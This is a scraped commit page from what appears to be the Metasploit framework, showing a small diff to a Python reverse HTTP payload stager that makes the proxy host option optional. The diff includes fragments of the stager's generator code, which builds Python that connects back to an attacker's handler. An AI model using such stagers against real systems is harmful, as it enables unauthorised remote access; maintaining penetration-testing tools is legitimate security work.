Skip to content

Commit

Permalink
Don't mandate and default PROXY_HOST (miscopy from the proxy stager)
Browse files Browse the repository at this point in the history
  • Loading branch information
HD Moore committed Mar 18, 2015
1 parent a4df6d5 commit 0601946
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions modules/payloads/stagers/python/reverse_http.rb
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ def initialize(info = {})

register_options(
[
OptString.new('PROXY_HOST', [true, "The proxy server's IP address", "127.0.0.1"]),
OptString.new('PROXY_HOST', [false, "The proxy server's IP address"]),
OptPort.new('PROXY_PORT', [true, "The proxy port to connect to", 8080 ]),
], Msf::Handler::ReverseHttp)
end
Expand All @@ -49,7 +49,7 @@ def generate
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)

cmd = "import sys\n"
if datastore['PROXY_HOST'].blank?
if datastore['PROXY_HOST'].to_s == ''
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = "http://#{datastore['PROXY_HOST']}:#{datastore['PROXY_PORT']}"
Expand Down

0 comments on commit 0601946

Please sign in to comment.